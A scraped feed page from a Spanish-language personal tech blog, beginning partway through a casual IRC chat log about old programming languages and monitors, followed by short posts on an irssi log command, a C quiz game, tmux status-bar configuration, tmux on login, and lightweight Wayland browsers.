</span></span><span style="display:flex;"><span>20:14 <@blastwave> I have no idea what that is .. or means.
</span></span><span style="display:flex;"><span>20:14 < houst0n> prolog?
</span></span><span style="display:flex;"><span>20:14 <@blastwave> however Matthew does the really cool stuff
</span></span><span style="display:flex;"><span>20:14 < houst0n> IT's a truely awful programming language
</span></span><span style="display:flex;"><span>20:14 < racingmars> ha no I'm not the prolog guy
</span></span><span style="display:flex;"><span>20:14 < houst0n> Butit's make believe
</span></span><span style="display:flex;"><span>20:14 <@blastwave> I barely recall anything about it
</span></span><span style="display:flex;"><span>20:15 < racingmars> Someone was saying they work where Pascal is in use.
</span></span><span style="display:flex;"><span>20:15 <@blastwave> FORTRAN77 man !
</span></span><span style="display:flex;"><span>20:15 < houst0n> fortran is in use in CERN
</span></span><span style="display:flex;"><span>20:15 <@blastwave> Pascal is awesome. Niclous Wirth for the win !
</span></span><span style="display:flex;"><span>20:15 < houst0n> it's great for math
</span></span><span style="display:flex;"><span>20:15 < houst0n> and intel's f compiler is insane balls fast
</span></span><span style="display:flex;"><span>20:15 < racingmars> Yeah Fortran is still a thing for sure.
</span></span><span style="display:flex;"><span>20:15 < houst0n> prolog tho? nah
</span></span><span style="display:flex;"><span>20:15 <@blastwave> will likely be .... for a very very long time
</span></span><span style="display:flex;"><span>20:16 < houst0n> I work with legacy. Super legacy. Finance legacy. Z/Os. ibm MQ
</span></span><span style="display:flex;"><span>20:16 < houst0n> No one uses prolog
</span></span><span style="display:flex;"><span>20:16 < gbowne1> wasnt me.. I however still do F77 on the occasion
</span></span><span style="display:flex;"><span>20:16 < racingmars> Oh, blastwave, my latest video series is complete:
</span></span><span style="display:flex;"><span>20:16 < racingmars> https://www.youtube.com/watch?v=3mJLbJPn3t0
</span></span><span style="display:flex;"><span>20:16 < racingmars> https://www.youtube.com/watch?v=6n0pZGwhMrY
</span></span><span style="display:flex;"><span>20:16 < racingmars> https://www.youtube.com/watch?v=KrtD-hlXPOc
</span></span><span style="display:flex;"><span>20:16 <@blastwave> okay Neil .... get some sleep. stay in touch. don't wait for a fucking year to say hello and saend a fucking email fer fucks sake !
</span></span><span style="display:flex;"><span>20:17 < houst0n> I randomly find ADA, KSH, Eiffel.. Even fucking C
</span></span><span style="display:flex;"><span>20:17 <@blastwave> oh ... ha ... my fireFox just blew up
</span></span><span style="display:flex;"><span>20:17 < gbowne1> here we do not fuck C at all do we? xD
</span></span><span style="display:flex;"><span>20:17 < racingmars> I'm glad you run nightly so we don't have to!
</span></span><span style="display:flex;"><span>20:17 <@blastwave> yeah ... it just vanished in a puff of bits
</span></span><span style="display:flex;"><span>20:17 < gbowne1> heh
</span></span><span style="display:flex;"><span>20:18 < houst0n> I have a love hate with C that anyone born after 1990 won't understand]
</span></span><span style="display:flex;"><span>20:18 <@blastwave> you just reminded me ... I want a Z80.
</span></span><span style="display:flex;"><span>20:18 < houst0n> My orig copy of k&r's 2nd is n my mums house
</span></span><span style="display:flex;"><span>20:18 < houst0n> I remember writing my own printf()
</span></span><span style="display:flex;"><span>20:19 <@blastwave> the last computer I plan to buy will be something similar to the first machine I ever programmed. I do not think there are 8080 kits around
</span></span><span style="display:flex;"><span>20:19 < gbowne1> I mean I want a https://www.ebay.com/itm/395340937984 but that might not happen
</span></span><span style="display:flex;"><span>20:19 <@blastwave> well ... what is that ? FireFox starts up ... go to the YouTube link from Matthew and then dies
</span></span><span style="display:flex;"><span>20:19 <@blastwave> I need to flush out my $HOME/.mozilla
</span></span><span style="display:flex;"><span>20:20 < gbowne1> quick, Dennis, Fire zillas at it xD
</span></span><span style="display:flex;"><span>20:20 < houst0n> Shit, these days? Focus on fonts
</span></span><span style="display:flex;"><span>20:20 <@blastwave> speaking of fonts
</span></span><span style="display:flex;"><span>20:20 < houst0n> Berkeley mono or nothing
</span></span><span style="display:flex;"><span>20:20 <@blastwave> anyone have the link to termingus ??
</span></span><span style="display:flex;"><span>20:20 < houst0n> I paid $200 for the term font I use
</span></span><span style="display:flex;"><span>20:21 < houst0n> And I regret nothing
</span></span><span style="display:flex;"><span>20:21 <@blastwave> github.com:neutaaaaan/termingus
</span></span><span style="display:flex;"><span>20:21 <@blastwave> ^ that
</span></span><span style="display:flex;"><span>20:21 <@blastwave> I use that everywhere I can
</span></span><span style="display:flex;"><span>20:21 < houst0n> https://berkeleygraphics.com/typefaces/berkeley-mono/
</span></span><span style="display:flex;"><span>20:21 < houst0n> I have a 5k monitor
</span></span><span style="display:flex;"><span>20:21 <@blastwave> I would not be able to see it
</span></span><span style="display:flex;"><span>20:22 <@blastwave> what the fuck is a 5k monitor ?
</span></span><span style="display:flex;"><span>20:22 <@blastwave> 4096x4096 ??
</span></span><span style="display:flex;"><span>20:22 < houst0n> Nah
</span></span><span style="display:flex;"><span>20:22 < racingmars> 5120 × 2880
</span></span><span style="display:flex;"><span>20:22 <@blastwave> just gimme a line printer and a teletype.
</span></span><span style="display:flex;"><span>20:22 < houst0n> Its what you get when you give apple like 2.5k
</span></span><span style="display:flex;"><span>20:22 < houst0n> I dunno what the x*y is
</span></span><span style="display:flex;"><span>20:23 < houst0n> But it's pretty
</span></span><span style="display:flex;"><span>20:23 <@blastwave> if I can get Firefox to start up ... I will have to look at what the hell that is. but whyt would I want that? nope ....
</span></span><span style="display:flex;"><span>20:23 <@blastwave> anything more than 1920x1080 is a waste with me
</span></span><span style="display:flex;"><span>20:23 < racingmars> 3 x 4k monitors on monitor arms does the trick for me here at my desk.
</span></span><span style="display:flex;"><span>20:23 < houst0n> Ah shit I'm a clarity bitch. I like crisp text.... Fuck you 1080 is not usable
</span></span><span style="display:flex;"><span>20:24 < racingmars> And yeah even after taking into account making all the font sizes bigger so they're readable on the 4k monitors, 1080p just doesn't have the real estate I've gotten used to.
</span></span><span style="display:flex;"><span>20:24 < gbowne1> Give me a ADM-3a https://www.oetec.com/pastebin/plain/bvx9TUYQ xD
</span></span><span style="display:flex;"><span>20:25 < houst0n> https://houst0n.net/retina.png
</span></span><span style="display:flex;"><span>20:26 < houst0n> Okay, I have to get up at 5am to get brootchen
</span></span><span style="display:flex;"><span>20:26 < houst0n> so, toodles
</span></span><span style="display:flex;"><span>20:26 <@blastwave> well... I am in the dark ages here. One step away from a serial terminal and I have a yellow warning light on this machine also. so
</span></span><span style="display:flex;"><span>20:26 <@blastwave> houst0n: good stuff!
</span></span><span style="display:flex;"><span>20:27 * blastwave ponders the whiskey
</span></span><span style="display:flex;"><span>20:27 < houst0n> Aight bruv. You'l be here when I seek you out next?
</span></span><span style="display:flex;"><span>20:27 < houst0n> Otherwise, [email protected] ?
</span></span><span style="display:flex;"><span>20:27 <@blastwave> at blastwave.org fer fucks sake
</span></span><span style="display:flex;"><span>20:28 <@blastwave> or dc at genunix.com
</span></span><span style="display:flex;"><span>20:28 < houst0n> or [email protected] ?
</span></span><span style="display:flex;"><span>20:28 <@blastwave> that works too !
</span></span><span style="display:flex;"><span>20:28 < houst0n> What happened to purplecow?
</span></span><span style="display:flex;"><span>20:28 <@blastwave> oh fuck man ... there is a story
</span></span><span style="display:flex;"><span>20:28 <@blastwave> some other night ... go sleep.
</span></span><span style="display:flex;"><span>20:28 < houst0n> I've got a wee bit of whisky left
</span></span><span style="display:flex;"><span>20:29 <@blastwave> suffice it to say that the purplecow was awesome and got slammed by Oracle also
</span></span><span style="display:flex;"><span>20:29 < houst0n> The purplecow dude ran a really enterpise mail stack
</span></span><span style="display:flex;"><span>20:29 < houst0n> Stupidly so
</span></span><span style="display:flex;"><span>20:29 <@blastwave> remember WeSunSolve.org ?
</span></span><span style="display:flex;"><span>20:29 < houst0n> yep
</span></span><span style="display:flex;"><span>20:29 <@blastwave> nuked by Oracle
</span></span><span style="display:flex;"><span>20:29 < houst0n> How could purplecow be nuked tho
</span></span><span style="display:flex;"><span>20:30 <@blastwave> also yeah ... purplecow was on really big ass software. sadly all of it Oracle
</span></span><span style="display:flex;"><span>20:30 < houst0n> It was like an experiment how much enterprise shit you could run for free
</span></span><span style="display:flex;"><span>20:30 <@blastwave> license costs and then other problems. support on the servers etc
</span></span><span style="display:flex;"><span>20:30 < houst0n> Oh? 10 users? HEREIS OPENDJ
</span></span><span style="display:flex;"><span>20:31 < houst0n> I worked at a place who once had a massive incident and hired the australian who wrote opendj
</span></span><span style="display:flex;"><span>20:31 <@blastwave> Oracle went after everyone everywhere to fucking scortch earth radiation nuke everyone
</span></span><span style="display:flex;"><span>20:31 < houst0n> fuck larry
</span></span><span style="display:flex;"><span>20:31 < houst0n> I still like him more than elon
</span></span><span style="display:flex;"><span>20:31 <@blastwave> when is the last time you tried to get a patch for a Sun server? Or an Oracle server?
</span></span><span style="display:flex;"><span>20:32 < houst0n> Never, we don't use that stuff anymore
</span></span><span style="display:flex;"><span>20:32 <@blastwave> we don't have enough whiskey for this topic
</span></span><span style="display:flex;"><span>20:32 < houst0n> What was that mental .pl script for patching solaris
</span></span><span style="display:flex;"><span>20:32 < houst0n> some random dude maintained it for like 10 years
</span></span><span style="display:flex;"><span>20:33 <@blastwave> yeah .. I recall that thing. that totally stopped working a long time ago. k ... I am going to rescue my firefox config here and
</span></span><span style="display:flex;"><span>20:33 < houst0n> Okay, I'm off. Closing IRC. Mabe I'll open it next year
</span></span><span style="display:flex;"><span>20:33 < houst0n> Have a good new year dude
</span></span><span style="display:flex;"><span>20:34 <@blastwave> right on ya wild scot !!
</span></span><span style="display:flex;"><span>20:34 < houst0n> Shit
</span></span><span style="display:flex;"><span>20:34 <@blastwave> watch out for Nessie
</span></span><span style="display:flex;"><span>20:34 < houst0n> I'm tamed bitch
</span></span><span style="display:flex;"><span>20:34 <@blastwave> I'm old
</span></span><span style="display:flex;"><span>20:34 < houst0n> Me too
</span></span><span style="display:flex;"><span>20:34 <@blastwave> shit happens
</span></span><span style="display:flex;"><span>20:34 < houst0n> 38
</span></span><span style="display:flex;"><span>20:34 < houst0n> :P
</span></span><span style="display:flex;"><span>20:34 <@blastwave> y old fart
</span></span><span style="display:flex;"><span>20:35 < houst0n> But at least I can write helloworld.c without #include <stdio.h> :P
</span></span><span style="display:flex;"><span>20:35 < houst0n> night
</span></span><span style="display:flex;"><span>20:36 -!- houst0n [[email protected]] has quit [Quit: 42]
</span></span><span style="display:flex;"><span>20:48 < MarianG> @houst0n you rock :D
</span></span><span style="display:flex;"><span>20:52 < gbowne1> kernadian airspace.. somewhere https://www.twitch.tv/smellyspice
</span></span><span style="display:flex;"><span>21:00 < hotzenbot> TIME: London 00:00, Paris 01:00, Kyiv: 02:00, Perth 08:00, Brisbane 10:00, Auckland 13:00, Irvine 16:00, Toronto 19:00
</span></span><span style="display:flex;"><span>21:06 -!- merkuro [[email protected]] has joined #blastwave
</span></span><span style="display:flex;"><span>21:34 < rconjoe> @gbowne1 i watch LA airspace far too much. so entertaining
</span></span><span style="display:flex;"><span>21:36 < gbowne1> yeah
</span></span><span style="display:flex;"><span>21:37 < gbowne1> KSEA isnt that much fun these days
</span></span><span style="display:flex;"><span>21:39 < gbowne1> much better during May-Aug
</span></span></code></pre></div>
-
Guardar log del canal actual de irssi
https://imlauera.github.io/guardar_log_actual_irssi/
Fri, 22 Nov 2024 21:42:18 -0300
https://imlauera.github.io/guardar_log_actual_irssi/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>/lastlog -file output.txt
</span></span></code></pre></div>
-
Altair 8800
https://imlauera.github.io/altair_8800/
Fri, 22 Nov 2024 20:53:56 -0300
https://imlauera.github.io/altair_8800/
<p><a href="https://www.ebay.com/itm/395340937984">https://www.ebay.com/itm/395340937984</a></p>
<p><img src="https://imlauera.github.io/img/altair_8800s-l1600.jpg" alt="altair_8800s-l1600.jpg"></p>
-
Juego de preguntas en C
https://imlauera.github.io/quiz_game_c/
Wed, 20 Nov 2024 21:25:06 -0300
https://imlauera.github.io/quiz_game_c/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdio.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdlib.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><string.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><time.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// max number of questions defined as macro
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define MAX_QUESTIONS 5
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Structure to store question details
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">typedef</span> <span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> question[<span style="color:#ae81ff">256</span>];
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> options[<span style="color:#ae81ff">4</span>][<span style="color:#ae81ff">64</span>];
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> correct_option;
</span></span><span style="display:flex;"><span>} Question;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// function to display question to the user
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">displayQuestion</span>(Question q)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, q.question);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672"><</span> <span style="color:#ae81ff">4</span>; i<span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%d. %s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, i <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>, q.options[i]);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// function to check the answer
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">checkAnswer</span>(Question q, <span style="color:#66d9ef">int</span> user_answer)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> (user_answer <span style="color:#f92672">==</span> q.correct_option);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// driver code
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// random number generator
</span></span></span><span style="display:flex;"><span> <span style="color:#a6e22e">srand</span>(<span style="color:#a6e22e">time</span>(NULL));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Initializing questions, options and the correct
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// answer
</span></span></span><span style="display:flex;"><span> Question original_questions[MAX_QUESTIONS] <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span> { <span style="color:#e6db74">"Which bird lays the largest egg?"</span>,
</span></span><span style="display:flex;"><span> { <span style="color:#e6db74">"Owl"</span>, <span style="color:#e6db74">"Ostrich"</span>, <span style="color:#e6db74">"Kingfisher"</span>, <span style="color:#e6db74">"Woodpecker"</span> },
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">2</span> },
</span></span><span style="display:flex;"><span> { <span style="color:#e6db74">"How many legs does a spider have?"</span>,
</span></span><span style="display:flex;"><span> { <span style="color:#e6db74">"7"</span>, <span style="color:#e6db74">"8"</span>, <span style="color:#e6db74">"6"</span>, <span style="color:#e6db74">"5"</span> },
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">2</span> },
</span></span><span style="display:flex;"><span> { <span style="color:#e6db74">"Where does the President of the United States "</span>
</span></span><span style="display:flex;"><span> <span style="color:#e6db74">"live while in office?"</span>,
</span></span><span style="display:flex;"><span> { <span style="color:#e6db74">"The White House"</span>, <span style="color:#e6db74">"The Parliament"</span>,
</span></span><span style="display:flex;"><span> <span style="color:#e6db74">"House of Commons"</span>, <span style="color:#e6db74">"Washington DC"</span> },
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">1</span> },
</span></span><span style="display:flex;"><span> { <span style="color:#e6db74">"Which state is famous for Hollywood?"</span>,
</span></span><span style="display:flex;"><span> { <span style="color:#e6db74">"Sydney"</span>, <span style="color:#e6db74">"California"</span>, <span style="color:#e6db74">"New York"</span>, <span style="color:#e6db74">"Paris"</span> },
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">2</span> },
</span></span><span style="display:flex;"><span> { <span style="color:#e6db74">"What is a group of lions called?"</span>,
</span></span><span style="display:flex;"><span> { <span style="color:#e6db74">"Drift"</span>, <span style="color:#e6db74">"Pride"</span>, <span style="color:#e6db74">"Flock"</span>, <span style="color:#e6db74">"Drove"</span> },
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">2</span> }
</span></span><span style="display:flex;"><span> };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Array of struct data-type
</span></span></span><span style="display:flex;"><span> Question questions[MAX_QUESTIONS];
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memcpy</span>(questions, original_questions,
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">sizeof</span>(original_questions));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> num_questions <span style="color:#f92672">=</span> MAX_QUESTIONS;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> score <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Hola! Here's your Quiz Game!</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672"><</span> MAX_QUESTIONS; i<span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> random_index <span style="color:#f92672">=</span> <span style="color:#a6e22e">rand</span>() <span style="color:#f92672">%</span> num_questions;
</span></span><span style="display:flex;"><span> Question current_question <span style="color:#f92672">=</span> questions[random_index];
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">displayQuestion</span>(current_question);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> user_answer;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Enter your answer (1-4): "</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">scanf</span>(<span style="color:#e6db74">"%d"</span>, <span style="color:#f92672">&</span>user_answer);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (user_answer <span style="color:#f92672">>=</span> <span style="color:#ae81ff">1</span> <span style="color:#f92672">&&</span> user_answer <span style="color:#f92672"><=</span> <span style="color:#ae81ff">4</span>) {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">checkAnswer</span>(current_question,
</span></span><span style="display:flex;"><span> user_answer)) {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Correct!</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> score<span style="color:#f92672">++</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Incorrect. The correct answer is "</span>
</span></span><span style="display:flex;"><span> <span style="color:#e6db74">"%d. %s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>,
</span></span><span style="display:flex;"><span> current_question.correct_option,
</span></span><span style="display:flex;"><span> current_question.options
</span></span><span style="display:flex;"><span> [current_question.correct_option
</span></span><span style="display:flex;"><span> <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span>]);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Invalid choice. Please enter a number "</span>
</span></span><span style="display:flex;"><span> <span style="color:#e6db74">"between 1 and 4.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> questions[random_index]
</span></span><span style="display:flex;"><span> <span style="color:#f92672">=</span> questions[num_questions <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span>];
</span></span><span style="display:flex;"><span> num_questions<span style="color:#f92672">--</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Well Done Champ !!!! Quiz completed! Your "</span>
</span></span><span style="display:flex;"><span> <span style="color:#e6db74">"score: %d/%d</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>,
</span></span><span style="display:flex;"><span> score, MAX_QUESTIONS);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><pre tabindex="0"><code></code></pre>
-
Usando tinywl o alternativa a DWM para wayland: DWL
https://imlauera.github.io/usando_tinywl/
Tue, 19 Nov 2024 22:04:57 -0300
https://imlauera.github.io/usando_tinywl/
<p>Primero de todo: en wayland no existe <code>startx</code> XD.</p>
<p>Por ejemplo tinywl se inicia desde la TTY con el siguiente comando: <code>tinywl -s chromium</code>
Podés probar con los siguientes navegadores que son ligeros:</p>
<p>Cualquier navegador que esté basado(que sea un fork) en una vieja versión de firefox o una vieja versión de chrome.</p>
<p>Actualmente estoy probando:</p>
<ul>
<li>Midori: Hasta ahora en mi opinión el más rápido, está basado en Firefox.</li>
<li>Konqueror.</li>
<li>Vivaldi.</li>
<li>SeaMonkey.</li>
<li>Falkon.</li>
<li>NetSurf. No tiene soporte javascript.</li>
<li>Qutebrowser: escrito en python con vim keybindings.</li>
<li>Throrium: fork de chromium</li>
<li>Mercury: fork de Firefox.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ yay -Ss mercury
</span></span><span style="display:flex;"><span>aur/mercury-browser-sse4-bin 129.0.2-1 (+2 0.23)
</span></span><span style="display:flex;"><span> Compiler optimized, private Firefox fork
</span></span><span style="display:flex;"><span>aur/mercury-browser-avx2-bin 129.0.2-1 (+7 1.88)
</span></span></code></pre></div><p>Como ves acá hay una versión para sse4 y otra para avx2, ¿qué corno es eso? Lo podés googlear o preguntarle a ChatGPT, Claude AI o Perplexity o con el aichat que te enseñé a instalar antes.</p>
-
Elinks add image viewer in TTY using framebuffer
https://imlauera.github.io/elinks_add_image_viewer/
Tue, 19 Nov 2024 19:38:04 -0300
https://imlauera.github.io/elinks_add_image_viewer/
<p>Instalar fbida que viene con un set de comandos: fbi, ida. Y tenemos que configurar elinks para que abra las imágenes usando esos programas.</p>
<p>Elinks tiene un básico soporte de javascript, alcanza hasta el javascript de 4chan XD.</p>
<p>A diferencia de w3m que no tiene soporte de javascript pero se pueden ver imágenes directamente en la consola sin una herramienta adicional. Antes existía w3m-js pero al parecer está obsoleto.</p>
<p><a href="https://www.linuxquestions.org/questions/blog/uxrs75-534818/viewing-images-with-elinks-3057/">https://www.linuxquestions.org/questions/blog/uxrs75-534818/viewing-images-with-elinks-3057/</a></p>
-
Mostrar temperatura tmux, batería, fecha y hora en TMUX, vi mode.
https://imlauera.github.io/mostrar_temperatura_tmux/
Tue, 19 Nov 2024 16:07:44 -0300
https://imlauera.github.io/mostrar_temperatura_tmux/
<p>Para seleccionar texto dentro de Tmux usa las vim-keys:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>control+b+<span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>V selecciona, copia con Enter y pega con Control+<span style="color:#f92672">]</span>
</span></span></code></pre></div><p>Siempre usa <code>tmux a</code> para unirte a la sesion existente de Tmux.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>set -g status-right <span style="color:#e6db74">'T:#(echo "$(cat /sys/class/thermal/thermal_zone4/temp)/1000"|bc)|B:#(cat /sys/class/power_supply/BAT1/capacity)%|#(date "+%Y-%m-%d|%H:%M"), vi mode.'</span>
</span></span></code></pre></div><h1 id="claude">Claude</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>set -g mode-keys vi
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Configuración de barra de estado para tmux (compacta para TTY)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Configuración general</span>
</span></span><span style="display:flex;"><span>set -g status-interval <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>set -g status-position bottom
</span></span><span style="display:flex;"><span>set -g status-justify left
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Colores básicos para TTY</span>
</span></span><span style="display:flex;"><span>set -g status-style <span style="color:#e6db74">'bg=black fg=white'</span>
</span></span><span style="display:flex;"><span>set -g status-left-length <span style="color:#ae81ff">20</span>
</span></span><span style="display:flex;"><span>set -g status-right-length <span style="color:#ae81ff">60</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Barra izquierda: sesión compacta</span>
</span></span><span style="display:flex;"><span>set -g status-left <span style="color:#e6db74">'#[bg=blue,fg=black,bold]#{session_name}#[bg=black,fg=blue]> '</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Barra derecha: compacta con lo esencial</span>
</span></span><span style="display:flex;"><span>set -g status-right <span style="color:#e6db74">'#[fg=yellow]T:#(echo "scale=0; $(cat /sys/class/thermal/thermal_zone4/temp)/1000"|bc)C #[fg=green]B:#(cat /sys/class/power_supply/BAT1/capacity)% #[fg=cyan]L:#(cat /proc/loadavg|awk "{print \$1}") #[fg=white]%H:%M %m/%d'</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Ventanas: mínimo</span>
</span></span><span style="display:flex;"><span>set -g window-status-format <span style="color:#e6db74">'#[fg=brightblack]#I:#W '</span>
</span></span><span style="display:flex;"><span>set -g window-status-current-format <span style="color:#e6db74">'#[fg=cyan,bold]#I:#W '</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Refrescar cada 2 segundos</span>
</span></span><span style="display:flex;"><span>set -g status-interval <span style="color:#ae81ff">2</span>
</span></span></code></pre></div>
-
Iniciar TMUX en el login en la TTY
https://imlauera.github.io/start_tmux_on_login/
Tue, 19 Nov 2024 07:31:32 -0300
https://imlauera.github.io/start_tmux_on_login/
<p>Agregando esta linea a tu <code>bashrc</code>.</p>
<p><code>[ -z "$TMUX" ] && { tmux attach || exec tmux new-session && exit;}</code></p>
<p>Fijate que esta línea cerrará el ssh o el login en la tty cuando termines tu session de TMUX. Si no te gusta esta configuración eliminá el “exit” del final.</p>
<p><code>[ -z "$TMUX" ] && { tmux attach || exec tmux new-session;}</code></p>
<p>No deberías envolver a tmux con exec, esto causará que la conexión se cierre cuando no haya sessiones de tmux para unir (attach).</p>
-
Fbida: ver imágenes, pdf en la TTY.
https://imlauera.github.io/fbida/
Mon, 18 Nov 2024 19:53:25 -0300
https://imlauera.github.io/fbida/
